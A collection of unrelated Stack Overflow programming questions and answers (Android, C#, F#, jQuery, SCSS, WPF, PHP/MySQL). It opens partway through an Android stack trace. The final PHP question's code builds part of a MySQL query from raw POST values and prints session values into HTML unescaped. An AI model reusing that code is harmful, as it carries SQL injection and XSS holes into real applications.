13:50:34.280: E/AndroidRuntime(17433): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:785) 10-30 13:50:34.280: E/AndroidRuntime(17433): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:601) 10-30 13:50:34.280: E/AndroidRuntime(17433): Caused by: java.lang.ClassNotFoundException: Didn't find class "com.google.common.collect.Maps" on path: DexPathList[[zip file "/data/app/com.pazodediarada.dc-2.apk"],nativeLibraryDirectories=[/data/app-lib/com.pazodediarada.dc-2, /vendor/lib, /system/lib]] 10-30 13:50:34.280: E/AndroidRuntime(17433): at dalvik.system.BaseDexClassLoader.findClass(BaseDexClassLoader.java:56) 10-30 13:50:34.280: E/AndroidRuntime(17433): at java.lang.ClassLoader.loadClass(ClassLoader.java:511) 10-30 13:50:34.280: E/AndroidRuntime(17433): at java.lang.ClassLoader.loadClass(ClassLoader.java:469) 10-30 13:50:34.280: E/AndroidRuntime(17433): ... 14 more 10-30 13:50:34.280: E/AndroidRuntime(17433): Suppressed: java.lang.ClassNotFoundException: com.google.common.collect.Maps 10-30 13:50:34.280: E/AndroidRuntime(17433): at java.lang.Class.classForName(Native Method) 10-30 13:50:34.280: E/AndroidRuntime(17433): at java.lang.BootClassLoader.findClass(ClassLoader.java:781) 10-30 13:50:34.280: E/AndroidRuntime(17433): at java.lang.BootClassLoader.loadClass(ClassLoader.java:841) 10-30 13:50:34.280: E/AndroidRuntime(17433): at java.lang.ClassLoader.loadClass(ClassLoader.java:504) 10-30 13:50:34.280: E/AndroidRuntime(17433): ... 15 more 10-30 13:50:34.280: E/AndroidRuntime(17433): Caused by: java.lang.NoClassDefFoundError: Class "Lcom/google/common/collect/Maps;" not found 10-30 13:50:34.280: E/AndroidRuntime(17433): ... 19 more </code></pre> <p>My IDE is Eclipse ADT, I have imported the google api libraries as per <a href="https://developers.google.com/google-apps/spreadsheets/#retrieving_a_list_of_spreadsheets" rel="nofollow">Google Sheets Api</a>, both with this method described there or adding external jars, obtaining the same results.</p> <p>Any ideas?</p>
10084114	0	 <p>If you don't get error on the declaration of dataProvider type T is defined as a parameter in a class declaration.<br> If so you should remove from method declarations. </p> <p>Good luck!</p>
22759218	0	 <p>Put your nested loop into a function and return true/false whenever you want to break the loop?</p> <pre><code>bool Function() { for(int i = 0; i &lt; 10; ++i) { for(int j = 0; j &lt; 10; ++j) { if (error) { MessageBox.Show("THE ITEM ID DOES NOT EXIST.!"); return false; } } } return true; } </code></pre>
10951319	0	Canvas versus DOM - What is the most efficient image display method in HTML5? <p>StackOverflow users</p> <p>While making a html5 application/website, for such cases as an image gallery, where a large number of images are displayed sequentially or at the same time in the browser, is the use of the canvas element justified?</p> <p>As long as we are only talking about presenting an image, is there any point in using a canvas and drawing the image on it instead of using the DOM element &lt; img > tag? There will also be some image manipulation, like CSS3 transformations/moving/scaling/zooming and gesture recognition (drag, touch/tap, maybe pinch, etc.) which, as far as I know, are applicable to both the canvas and the img tags.</p> <p>It would also be important to keep things as much "html5"-ish as possible and also taking performance into account. For example, it would matter if in the future the canvas element will be more and more used and optimized by the browsers and it would also matter if for the time being the &lt; img > is much faster.</p> <p>Since we are considering developing an universal html5 application, working on desktops and also on mobile devices, performance and speed are a very important factor. However, the tests comparing canvas and &lt; img > were targeting mostly javascript browser games. In this case, the animation is not that important as the memory consumption and overall performance.</p> <p>Are there any resources/studies regarding this particular aspect?</p>
7067802	0	 <p>(EDIT: CKoenig has a nice answer.)</p> <p>Hm, I didn't immediately see a way to do this either.</p> <p>Here's a non-type-safe solution that might provide some crazy inspiration for others. </p> <pre><code>open System.Collections.Generic module Dict = type Dictionary&lt;'K, 'V&gt; with member this.Difference&lt;'K2, 'T when 'K2 : equality&gt;(that:Dictionary&lt;'K2, 'T&gt;) = let dict = Dictionary&lt;'K2,'V&gt;() for KeyValue(k, v) in this do if not (that.ContainsKey(k |&gt; box |&gt; unbox)) then dict.Add(k |&gt; box |&gt; unbox, v) dict open Dict let d1 = Dictionary() d1.Add(1, "foo") d1.Add(2, "bar") let d2 = Dictionary() d2.Add(1, "cheese") let show (d:Dictionary&lt;_,_&gt;) = for (KeyValue(k,v)) in d do printfn "%A: %A" k v d1.Difference(d2) |&gt; show let d3 = Dictionary() d3.Add(1, 42) d1.Difference(d3) |&gt; show let d4 = Dictionary() d4.Add("uh-oh", 42) d1.Difference(d4) |&gt; show // blows up at runtime </code></pre> <p>Overall it seems like there may be no way to unify the types <code>K</code> and <code>K2</code> without also forcing them to have the same equality constraint though...</p> <p>(EDIT: seems like calling into .NET which is equality-constraint-agnostic is a good way to create a dictionary in the absence of the extra constraint.)</p>
22417084	0	 <p>If you actually add a tip, it works fine</p> <pre><code>$(".well").attr("title", "This is a tooltip"); </code></pre> <p><a href="http://jsfiddle.net/78PVu/1/" rel="nofollow"><strong>FIDDLE</strong></a></p>
32437204	0	 <p>I hope you access your fields by pair of get/set methods. Just make null-checking logic inside getter:</p> <pre><code>public Second getRelated(){ if( second == null ) return defaultValue; } </code></pre> <p>Please also see this answer <a href="http://stackoverflow.com/a/757330/149818">http://stackoverflow.com/a/757330/149818</a></p>
32728760	0	Removing blue block of active hyperlink? <p>On a mobile device, when a hyperlink is clicked, a blue box appears for a brief second. It doesn't matter if the hyperlink is text or an image, it still appears. Is there a way to turn this off? </p> <p>I don't want to turn it off on all items. I just have some hyperlinks embedded in none rectangular images and i think it looks ugly.</p> <p>Thanks</p>
6578373	0	sleep in emacs lisp <h2>script A</h2> <pre><code> (insert (current-time-string)) (sleep-for 5) (insert (current-time-string)) </code></pre> <p><code>M-x eval-buffer</code>, two time strings are inserted with 5 secs apart</p> <h2>script B</h2> <p>some comint code (that add hook, and start process)</p> <pre><code> (sleep-for 60) ;delay a bit for process to finish (insert "ZZZ") </code></pre> <p><code>M-x eval-buffer</code>, "ZZZ" is inserted right away, without any time delay</p> <p>what might have happened? btw, it's Emacs 23.2 on Win XP</p>
26551335	0	 <p>Assuming this data is in some kind of enumerable object you can do:</p> <pre><code>arrays, hashes = data.group_by(&amp;:class).values_at(Array, Hash) </code></pre> <p>However it feels wrong. Most likely you rather need to wrap each hash within its own array (so you can later to double iteration). If this is the case:</p> <pre><code>data.map! {|array_or_hash| Array.wrap(array_or_hash)} </code></pre>
9777543	0	 <p>You mixing things. You either do this:</p> <pre><code>private void sumBtn_Click(object sender, EventArgs e) { int counter; int loopAnswer = 0; int number1 = int.Parse(number1Txtbox.Text); for (counter = 1; counter &lt;= 10; counter++) { loopAnswer += number1; //same as loopAnswer = loopAnswer + number1; } equalsBox.Text = loopAnswer.ToString(); } </code></pre> <p>or this:</p> <pre><code>private void sumBtn_Click(object sender, EventArgs e) { int counter = 1; int loopAnswer = 0; int number1 = int.Parse(number1Txtbox.Text); do { loopAnswer += number1; //same as loopAnswer = loopAnswer + number1; counter++; } while (counter &lt;= 10); equalsBox.Text = loopAnswer.ToString(); } </code></pre> <p>Also, the final answer (<code>equalsBox.Text = loopAnswer.ToString();</code>) should be out of the loop.</p>
35151361	0	 <p>I think in your <code>django-shop/shop/money/__init__.py</code> rather than </p> <pre><code>from money_maker import MoneyMaker, AbstractMoney </code></pre> <p>you should either:</p> <pre><code> import .money_maker import MoneyMaker, AbstractMoney </code></pre> <p>or</p> <pre><code> import shop.money.money_maker import MoneyMaker, AbstractMoney </code></pre>
39308795	0	 <p>TF-IDF as far as I understand is a feature. TF is term frequency i.e. frequency of occurence in a document. IDF is inverse document frequncy i.e frequency of documents in which the term occurs. </p> <p>Here, the model is using the TF-IDF info in the training corpus to estimate the new documents. For a very simple example, Say a document with word bad has pretty high term frequency of word bad in training set will sentiment label as negative. So, any new document containing bad will be more likely to be negative. </p> <p>For the accuracy you can manaually select training corpus which contains mostly used negative or positive words. This will boost the accuracy. </p>
25774307	0	 <p>This code will not do what you want.</p> <p>While loop have to stop before popup. But as you popup outside of your loop after popup vi will be stopped. </p> <p>Insert the popup to your loop, put there case and put the popup inside the case. Connect time has elapsed Boolean to your case conditional terminal. Make sure you run the VI using arrow not continuous run option.</p>
31214674	0	 <h2>1st method</h2> <p>If those parts are hardcoded you could simply change your links adding <code>../</code> before :</p> <p><code>path/to/my/assets/style.css</code></p> <p>would become</p> <p><code>../path/to/my/assets/style.css</code></p> <hr> <h2>2nd method</h2> <p>You could use <code>.htaccess</code> as Marc suggested (assuming your assets folder is <code>assets</code> :</p> <pre><code>RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^course/assets/(.*) assets/$1 </code></pre> <p>Or using a redirection</p> <pre><code>RedirectMatch 303 /courses/assets(.*) /assets/$1 </code></pre> <blockquote> <p>Note 303 See Other response code which seems more appropriate <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.3.4" rel="nofollow">http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.3.4</a></p> </blockquote>
28311304	0	 <p>I think you need to have a DatetimeIndex (rather than a MultiIndex):</p> <pre><code>In [11]: df1 = df.reset_index('status') In [12]: df1 Out[12]: status TUFNWGTP TELFS t070101 t070102 t070103 t070104 TUDIARYDATE 2003-01-03 emp 8155462.672158 2 0 0 0 0 2003-01-04 emp 1735322.527819 1 0 0 0 0 2003-01-04 emp 3830527.482672 2 60 0 0 0 2003-01-02 unemp 6622022.995205 4 0 0 0 0 2003-01-09 emp 3068387.344956 1 0 0 0 0 </code></pre> <p>then do a groupby with a monthly TimeGrouper <em>and</em> the status column:</p> <pre><code>In [13]: df1.groupby([pd.TimeGrouper('M'), 'status']).sum() Out[13]: TUFNWGTP TELFS t070101 t070102 t070103 t070104 TUDIARYDATE status 2003-01-31 emp 16789700.027605 6 60 0 0 0 unemp 6622022.995205 4 0 0 0 0 </code></pre>
38850163	0	SASS/SCSS Background-image loop with nth-child <p>I'm creating a portfolio section of my static website and I'd like a neat way of assigning background-image url:s without adding any classnames (image image-1, image image-2 etc.) or style tags in HTML, <strong>but rather use only scss with nth-child, if possible</strong>...</p> <p>Because the image divs are nested I have some problems assigning background-images using nth-child. I've created a JSFiddle to reproduce the problem (<strong>the image divs are nested inside rows</strong>).</p> <p>My image files are named like in the fiddle (image-1.jpg, image-2.jpg etc.).</p> <p>The fiddle -> <a href="https://jsfiddle.net/szmvfo4o/" rel="nofollow">https://jsfiddle.net/szmvfo4o/</a></p> <p>The loop:</p> <pre><code>@for $i from 1 through 3 { .row:nth-child(#{$i}) { .image:first-child { background-image: url(image-#{$i}.jpg); } .image:last-child { background-image: url(image-#{$i+1}.jpg); } } } </code></pre> <p>Full SCSS:</p> <pre><code>.item { float: left; width: 50%; height: 120px; padding: 10px; box-sizing: border-box; } .inner { width: 100%; height: 100%; } .image { width: 100%; height: 100%; background-size: cover; background-color: #fff; //background-image: url(https://source.unsplash.com/-sQ4FsomXEs/800x600); background-image: url(image-1.jpg); } @for $i from 1 through 3 { .row:nth-child(#{$i}) { .image:first-child { background-image: url(image-#{$i}.jpg); } .image:last-child { background-image: url(image-#{$i+1}.jpg); } } } </code></pre> <p>HTML:</p> <pre><code>&lt;div class="row"&gt; &lt;div class="item"&gt; &lt;div class="inner"&gt; &lt;div class="image"&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="item"&gt; &lt;div class="inner"&gt; &lt;div class="image"&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="row"&gt; &lt;div class="item"&gt; &lt;div class="inner"&gt; &lt;div class="image"&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="item"&gt; &lt;div class="inner"&gt; &lt;div class="image"&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="row"&gt; &lt;div class="item"&gt; &lt;div class="inner"&gt; &lt;div class="image"&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="item"&gt; &lt;div class="inner"&gt; &lt;div class="image"&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>
13495137	0	 <p>Here's one way using <code>GNU awk</code>:</p> <pre><code>awk -F "[()]" 'FNR==NR { a[$(NF-1)]++; next } !(gensub(/(.*),.*/,"\\1","g",$(NF-1)) in a)' File1 File2 </code></pre> <p>Results:</p> <pre><code>INSERT INTO Queue (course,student,registrationDate) VALUES ('BKE974','3421728825','1368144500'); INSERT INTO Queue (course,student,registrationDate) VALUES ('DQY359','7421758823','1375874278'); </code></pre>
21785969	0	 <p>I see, you want the "unique" combinations of children, regardless of order.</p> <p>The following gets parents that are equivalent:</p> <pre><code>select m1.Parent as Parent1, m2.Parent as Parent2 from (select m.*, count(*) over (partition by Parent) as NumKids from #m m ) m1 join (select m.*, count(*) over (partition by Parent) as NumKids from #m m ) m2 on m1.ChildID = m2.ChildID group by m1.Parent, m2.Parent having count(*) = max(m1.NumKids) and max(m1.NumKids) = max(m2.NumKids); </code></pre> <p>We can now get what you want using this </p> <pre><code>with parents as ( select m1.Parent as Parent1, m2.Parent as Parent2 from (select m.*, count(*) over (partition by Parent) as NumKids from #m m ) m1 join (select m.*, count(*) over (partition by Parent) as NumKids from #m m ) m2 on m1.ChildID = m2.ChildID group by m1.Parent, m2.Parent having count(*) = max(m1.NumKids) and max(m1.NumKids) = max(m2.NumKids) ) select distinct m.* from (select min(Parent2) as theParent from parents group by Parent1 ) p join #m m on p.theParent = m.Parent; </code></pre> <p>If you want a new id instead of the old one, use:</p> <pre><code>select dense_rank() over (partition by m.Parent) as NewId, m.ChildID </code></pre> <p>in the <code>select</code>.</p>
5957868	0	 <p>The docs on the repo were updated three days ago, changing the reference from 'socket.io' to 'socket.io-node', so it appears things are in flux.</p> <p>To get the functionality you need, you might check out eventedsocket at <a href="https://github.com/torgeir/eventedsocket" rel="nofollow">https://github.com/torgeir/eventedsocket</a> (npm install eventedsocket)</p> <p>From the README.md:</p> <p>Eventedsocket adds event like behavior to your socket.io connection, allowing for events to be sent from client(s) to server or server to client(s). Your custom events along with the desired data are communicated as json over whatever protocol socket.io might choose.</p>
17047305	0	 <p>Each time you click, you call this function.</p> <pre><code>function tableClick(event){ $('#table').click(function(event){ alert(event.target.id); }); } </code></pre> <p>This part:</p> <pre><code>$('#table').click(function(event){ </code></pre> <p>attaches a click handler to the table. <strong>Every time you click</strong> you attach a new click handler to the table.</p>
3951226	0	 <p>How about adding a '?2' to the tag?</p> <p><code>&lt;script src="a.js?2"&gt;&lt;/script&gt;</code></p> <p>The server should return the same file with or without the '?2', but the browser should see it as a different file and redownload. You can just change this query string whenever the file is changed.</p> <p>adapted from: <a href="http://blog.httpwatch.com/2007/12/10/two-simple-rules-for-http-caching/">http://blog.httpwatch.com/2007/12/10/two-simple-rules-for-http-caching/</a></p>
23910864	0	Building Angular App and embed on another page you didn't write <p>It is possible to build a JavaScript library, use JQuery and then embed it on another page. <a href="http://dublintech.blogspot.ie/2012/12/a-javascript-quiz.html" rel="nofollow">For example</a>...</p> <p>You can import the library...</p> <pre><code>&lt;link href="http://dublintech.github.com/JavaScript_Examples/jsquiz/css/jquiz.css" rel="stylesheet" type="text/css"&gt; &lt;script src="http://dublintech.github.com/JavaScript_Examples/jsquiz/js/jQuiz.js" type="text/javascript"&gt;&lt;/script&gt; </code></pre> <p>You can then invoked a function from the library and even pass it a dom element </p> <pre><code>quizModule(quiz_questions, $('#intro')); </code></pre> <p>The library then can manipulate your dom element and hence your page.</p> <p>I was just wondering is possible to do something similar with AngularJS? </p> <p>So I could write a library / application in AngularJS and somebody could embed that in their page without using an iFrame?</p> <p>Thanks</p>
11118180	0	Use uasort to sort elements in an array <p>I have the following array</p> <pre><code>$array = array( 'note' =&gt; array('test', 'test1', 'test2', 'test3', 'test4'), 'year' =&gt; array('2011','2010', '2012', '2009', '2010'), 'type' =&gt; array('journal', 'conference', 'conference', 'conference','conference'), ); </code></pre> <p>And I would like to sort the elements using <code>uasort()</code> and array <code>year</code>.</p> <p>I did:</p> <pre><code>function cmp($a, $b) { if($a['year'] == $b['year']) return 0; return ($a['year'] &lt; $b['year']) ? -1 : 1; } uasort($array,'cmp'); print_r($array); </code></pre> <p>But the output is incorrect:</p> <pre><code>Array ( [type] =&gt; Array ( [0] =&gt; journal [1] =&gt; conference [2] =&gt; conference [3] =&gt; conference [4] =&gt; conference ) [year] =&gt; Array ( [0] =&gt; 2011 [1] =&gt; 2010 [2] =&gt; 2012 [3] =&gt; 2009 [4] =&gt; 2010 ) [note] =&gt; Array ( [0] =&gt; test [1] =&gt; test1 [2] =&gt; test2 [3] =&gt; test3 [4] =&gt; test4 ) ) </code></pre> <p>Desired output:</p> <pre><code>Array ( [type] =&gt; Array ( [0] =&gt; conference [1] =&gt; journal [2] =&gt; conference [3] =&gt; conference [4] =&gt; conference ) [year] =&gt; Array ( [0] =&gt; 2012 [1] =&gt; 2011 [2] =&gt; 2010 [3] =&gt; 2010 [4] =&gt; 2009 ) [note] =&gt; Array ( [0] =&gt; test2 [1] =&gt; test [2] =&gt; test1 [3] =&gt; test4 [4] =&gt; test3 ) ) </code></pre>
13562355	0	Predefined subject and body in EmailComposer <p>Is there any way to predefine body and subject of email in emailcomposer ios phonegap plugin? So far i found some group in google groups </p> <pre><code>window.plugins.emailComposer.showEmailComposer("My Subject","My Plain Text Body", "recip...@email.com,recipient2@email.com", "ccReci...@email.com,ccRecipient2@email.com", "bccRec...@email.com,bccRecipient2@email.com",false); </code></pre> <p>but i'm not sure how to connect that to my html page. I tried </p> <pre><code>cordova.exec(null, null, "EmailComposer", "showEmailComposer", [args]); </code></pre> <p>in my js file, but that shows emailcomposer page, which is unacceptable. How do i make user enter only email or recipient?</p> <p>UPD: I didnt look into emailcomposer.js, there is array [args], where i can define everything i need, but i'm not sure how to do that Tried this way, but that didnt help</p> <pre><code>var args = [toRecipients="example@email.com"]; </code></pre>
11173578	0	insert into data base by javascript <p>i have this code for get rss from other site </p> <pre><code>gfeedfetcher.prototype._displayresult=function(feeds){ var rssoutput=(this.itemcontainer=="&lt;li&gt;")? "&lt;ul&gt;\n" : "" gfeedfetcher._sortarray(feeds, this.sortstring) for (var i=0; i&lt;feeds.length; i++){ var itemtitle="&lt;a href=\"" + feeds[i].link + "\" target=\"" + this.linktarget + "\" class=\"titlefield\"&gt;" + feeds[i].title + "&lt;/a&gt;" var itemlabel=/label/i.test(this.showoptions)? '&lt;span class="labelfield"&gt;['+this.feeds[i].ddlabel+']&lt;/span&gt;' : " " var itemdate=gfeedfetcher._formatdate(feeds[i].publishedDate, this.showoptions) var itemdescription=/description/i.test(this.showoptions)? "&lt;br /&gt;"+feeds[i].content : /snippet/i.test(this.showoptions)? "&lt;br /&gt;"+feeds[i].contentSnippet : "" rssoutput+=this.itemcontainer + itemtitle + " " + itemlabel + " " + itemdate + "\n" + itemdescription + this.itemcontainer.replace("&lt;", "&lt;/") + "\n\n" } rssoutput+=(this.itemcontainer=="&lt;li&gt;")? "&lt;/ul&gt;" : "" this.feedcontainer.innerHTML=rssoutput } </code></pre> <p>then i need to insert title and linke of the new on table on data base this cod by javascript</p>
17484075	0	Change Fill property of Path control inside ListBox <p>I have a small question, I've created a <code>ListBox</code> that only contains 2 items. Each item is a <code>Path</code> control that has a <code>Fill</code> attribute set to Black.</p> <p>Now, what I'm trying to do is, change the colour of this Fill attribute when you select one of the items in the listbox... I would think this should be done with a <code>Style</code>. But when doing so, the style contains a <code>ContentPresenter</code> that maps to the Path and this ContentPresenter has no <code>Fill</code> attribute to change through the <code>IsSelected</code> trigger!</p> <p>So in other words, how can I still use a Style that maps the Fill attribute?</p> <p>My current XAML code of the <code>Window</code> in the <code>WPF</code> project:</p> <pre><code>&lt;Window xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" x:Class="XAMLPathStyleProblem.MainWindow" x:Name="Window" Title="MainWindow" Width="640" Height="480"&gt; &lt;Window.Resources&gt; &lt;Style x:Key="ListBoxItemStyle" TargetType="{x:Type ListBoxItem}"&gt; &lt;Setter Property="Background" Value="Transparent"/&gt; &lt;Setter Property="HorizontalContentAlignment" Value="{Binding HorizontalContentAlignment, RelativeSource={RelativeSource AncestorType={x:Type ItemsControl}}}"/&gt; &lt;Setter Property="VerticalContentAlignment" Value="{Binding VerticalContentAlignment, RelativeSource={RelativeSource AncestorType={x:Type ItemsControl}}}"/&gt; &lt;Setter Property="Padding" Value="2,0,0,0"/&gt; &lt;Setter Property="Template"&gt; &lt;Setter.Value&gt; &lt;ControlTemplate TargetType="{x:Type ListBoxItem}"&gt; &lt;Border x:Name="Bd" SnapsToDevicePixels="true" Background="{TemplateBinding Background}" BorderBrush="{TemplateBinding BorderBrush}" BorderThickness="{TemplateBinding BorderThickness}" Padding="{TemplateBinding Padding}"&gt; &lt;ContentPresenter HorizontalAlignment="{TemplateBinding HorizontalContentAlignment}" VerticalAlignment="{TemplateBinding VerticalContentAlignment}" SnapsToDevicePixels="{TemplateBinding SnapsToDevicePixels}"/&gt; &lt;/Border&gt; &lt;ControlTemplate.Triggers&gt; &lt;Trigger Property="IsSelected" Value="true"&gt; &lt;Setter Property="Background" TargetName="Bd" Value="{DynamicResource {x:Static SystemColors.HighlightBrushKey}}"/&gt; &lt;Setter Property="Foreground" Value="{DynamicResource {x:Static SystemColors.HighlightTextBrushKey}}"/&gt; &lt;/Trigger&gt; &lt;MultiTrigger&gt; &lt;MultiTrigger.Conditions&gt; &lt;Condition Property="IsSelected" Value="true"/&gt; &lt;Condition Property="Selector.IsSelectionActive" Value="false"/&gt; &lt;/MultiTrigger.Conditions&gt; &lt;Setter Property="Background" TargetName="Bd" Value="{DynamicResource {x:Static SystemColors.ControlBrushKey}}"/&gt; &lt;Setter Property="Foreground" Value="{DynamicResource {x:Static SystemColors.ControlTextBrushKey}}"/&gt; &lt;/MultiTrigger&gt; &lt;Trigger Property="IsEnabled" Value="false"&gt; &lt;Setter Property="Foreground" Value="{DynamicResource {x:Static SystemColors.GrayTextBrushKey}}"/&gt; &lt;/Trigger&gt; &lt;/ControlTemplate.Triggers&gt; &lt;/ControlTemplate&gt; &lt;/Setter.Value&gt; &lt;/Setter&gt; &lt;/Style&gt; &lt;/Window.Resources&gt; &lt;Grid x:Name="LayoutRoot"&gt; &lt;ListBox x:Name="ImageBar" ItemContainerStyle="{DynamicResource ListBoxItemStyle}"&gt; &lt;ListBox.ItemsPanel&gt; &lt;ItemsPanelTemplate&gt; &lt;StackPanel Orientation="Horizontal" VerticalAlignment="Top" /&gt; &lt;/ItemsPanelTemplate&gt; &lt;/ListBox.ItemsPanel&gt; &lt;ListBoxItem&gt; &lt;Path Data="M15.992466,14.680105C20.892824,14.680104 23.97299,17.360288 28.013305,17.360288 31.943504,17.360288 34.333683,14.680104 39.994102,14.680105 44.274425,14.680104 48.804641,17.000391 52.034961,21.0308 41.454162,26.831151 43.174373,41.942682 53.865043,45.983101 52.394974,49.24342 51.694851,50.703518 49.794819,53.583672 47.154625,57.614079 43.424389,62.624561 38.803959,62.664604 34.703705,62.704647 33.643696,59.994431 28.073246,60.024464 22.50292,60.054249 21.342806,62.714657 17.23254,62.674614 12.622241,62.634571 9.0819604,58.104115 6.441766,54.083717 -0.95864094,42.822647 -1.7287129,29.611443 2.8315349,22.590761 6.0717456,17.600301 11.19209,14.680104 15.992466,14.680105z M38.751411,0C39.321331,3.8093758 37.761547,7.538764 35.701835,10.178331 33.502144,12.997869 29.702673,15.197509 26.033186,15.077528 25.373277,11.438125 27.093038,7.6887398 29.172746,5.1591539 31.462427,2.3696117 35.39188,0.23996067 38.751411,0z" Fill="Black" /&gt; &lt;/ListBoxItem&gt; &lt;ListBoxItem&gt; &lt;Path Data="M32.127438,4.0459317E-05C34.679321,-0.0059787218,51.370113,0.63573532,60.553993,18.050023L60.522991,18.050023 60.543671,18.086075C61.200066,19.24132 68.004066,31.93957 59.575981,47.967091 59.575981,47.967091 51.176838,64.148377 30.558096,63.870453L29.65756,63.847004 29.649204,63.861397C29.644096,63.870198,29.641504,63.874661,29.641504,63.874661L29.638971,63.874695 29.681444,63.800747C30.804413,61.84562,39.865662,46.068413,42.345753,41.710415L42.378082,41.653572 42.392643,41.638874 42.472183,41.501145 42.692501,41.246766C44.087284,39.55642,45.09919,37.538369,45.595421,35.325478L45.613995,35.233231 45.681602,34.931549C45.857914,34.084336,45.977459,33.046578,45.939392,31.839535L45.927822,31.607016 45.927765,31.604247 45.927345,31.597495 45.913135,31.311926 45.901112,31.172703 45.89138,31.015126 45.867527,30.783802 45.865814,30.76396 45.8638,30.747662 45.831325,30.432713C45.783504,30.046782,45.720222,29.665644,45.64212,29.289938L45.605244,29.129017 45.579826,29.001641C45.3101,27.769034 44.871658,26.423209 44.200989,24.977549 43.870582,24.491171 43.539108,24.000555 43.182049,23.514327L42.899601,23.140976 60.287002,18.042616C60.287002,18.042616,39.292564,18.022913,34.351002,18.039915L34.393581,18.050023 34.172077,18.050023C33.849613,18.050023,33.54248,18.050023,33.252323,18.050023L33.158501,18.050023 32.880497,18.023783C32.497307,17.992794 32.109821,17.977 31.718649,17.977 31.350422,17.977 30.985464,17.990992 30.624279,18.018473L30.292705,18.050023 30.278829,18.050023C30.225145,18.050023 30.197481,18.050023 30.197481,18.050023 30.197481,18.050023 30.175093,18.049284 30.131918,18.049599 29.747402,18.052403 27.714258,18.138693 25.166611,19.573328L25.156681,19.579142 25.090729,19.612418C22.198151,21.138638,19.8955,23.632718,18.613605,26.663617L18.496868,26.959704 5.5749997,14.177C5.5749997,14.177,15.021078,30.765849,17.85829,35.692574L17.988001,35.917668 18.035503,36.093228C19.728666,42.05547 25.213291,46.422997 31.718649,46.422997 32.332252,46.422997 32.936783,46.384125 33.529907,46.308712L33.816097,46.268658 29.596954,63.874993 29.542429,63.874833C28.213777,63.865578 13.814976,63.407895 4.1510181,48.093563 4.1510176,48.093563 -5.6624084,32.728032 4.8882693,15.012328L5.3907794,14.192161 5.3934535,14.187385C5.6228327,13.780242 13.109029,0.74591898 31.796461,0.0057129142 31.796461,0.0057133239 31.911178,0.00055203911 32.127438,4.0459317E-05z" Fill="Black" /&gt; &lt;/ListBoxItem&gt; &lt;/ListBox&gt; &lt;/Grid&gt; &lt;/Window&gt; </code></pre>
20939963	0	Clean / SEO friendly urls for e107 system version 1.0.4 <p>I have searched all over the net and this site too ( trust me on that :( ) but couldn't find a simpler solution instead of manual <code>.htaccess</code> rewrite for every single url.</p> <p>So ... Is there a plugin or easier way, to rewrite <strong>all</strong> e107 systems urls as SEO friendly ones?</p> <p>I am using v1.0.4 ( since the 2.0 is still in <em>alpha</em> stage ).</p> <p>I just hate see them as</p> <p><img src="https://i.stack.imgur.com/wKxF8.png" alt="enter image description here"></p> <p>instead of just <code>/news/</code> or</p> <p><img src="https://i.stack.imgur.com/6CtiO.png" alt="enter image description here"></p> <p>instead of just <code>/forum/</code> etc.</p>
36192839	0	MYSQL - ON DUPLICATE KEY does not update <p>I having been having the worst luck with updating and inserting into a database. My insert into a database works perfectly, i just cannot update.</p> <p>I have tired two seperate queries one for update the other insert, but updating never works. I am now using the ON DUPLICATE KEY trigger and once again the information just adds a record each time instead of updating. Where am i going wrong? I have been working on this for a day and half now and can't seem to get anywhere. newbee problems!</p> <pre><code> &lt;?php $Cust_ID = $_SESSION["CustomerID"]; if (isset($_POST['Update'])) { $c_fname = $_POST['fname']; $c_lname = $_POST['lname']; $c_email = $_POST['email']; $c_phone = $_POST['phone']; // Save $_POST to $_SESSION //query $insert_det = "INSERT INTO Cus_acc_details(CUS_Fname,CUS_Lname,Cus_Email,CUS_Phone) VALUES (?,?,?,?) ON DUPLICATE KEY UPDATE CUS_Fname = '$c_fname', Cus_Lname = '$c_lname'"; $stmt = mysqli_prepare($dbc, $insert_det); //new // $stmt = mysqli_prepare($dbc, $insert_c); //debugging //$stmt = mysqli_prepare($dbc, $insert_c) or die(mysqli_error($dbc)); mysqli_stmt_bind_param($stmt, 'sssi', $c_fname, $c_lname, $c_email, $c_phone); /* execute query */ $r = mysqli_stmt_execute($stmt); // if inserted echo the following messges if ($r) { echo "&lt;script&gt; alert('registration sucessful')&lt;/script&gt;"; } } else { echo "&lt;b&gt;Oops! Your passwords do not &lt;/b&gt;"; } ?&gt; </code></pre> <p>HTML</p> <pre><code>&lt;section class="container"&gt; &lt;form id="myform " class="Form" method="post" action="Cus_Account.php?c_id=&lt;?php echo $c_id ?&gt;" accept-charset="utf-8"&gt; &lt;!-- &lt;div id="first"&gt;--&gt; &lt;input type="text" id="fname" name="fname" value="&lt;?php echo $_SESSION['fname']; ?&gt;" required&gt; &lt;input type="text" id="lname" name="lname" value="&lt;?php echo $_SESSION['lname']; ?&gt;" required&gt; &lt;input type="text" id="email" name="email" value="&lt;?php echo $_SESSION['Cus_Email']; ?&gt;" required&gt; &lt;input type="number" id="phone" name="phone" value="&lt;?php echo $_SESSION['phone']; ?&gt;" required&gt; &lt;input type="submit" name="Update" value="Update"&gt; &lt;br&gt; &lt;/form&gt; </code></pre> <p>both the Customer_id and Cus-_email field's are set as unique on the bd, however, records keep inserting into the db. any help would be appreciated.</p> <p>SHOW CREATE</p> <pre><code>CREATE TABLE `Cus_acc_details` ( `CustomerID` tinyint(11) NOT NULL AUTO_INCREMENT, `AcctId` varchar(100) NOT NULL, `CUS_Fname` varchar(45) DEFAULT NULL, `Cus_Lname` varchar(45) DEFAULT NULL, `CUS_Phone` varchar(45) NOT NULL, `Cus_Email` varchar(200) NOT NULL, PRIMARY KEY (`CustomerID`), UNIQUE KEY `CustomerID` (`CustomerID`), UNIQUE KEY `CustomerID_2` (`CustomerID`,`Cus_Email`) ) ENGINE=InnoDB AUTO_INCREMENT=24 DEFAULT CHARSET=outfit </code></pre>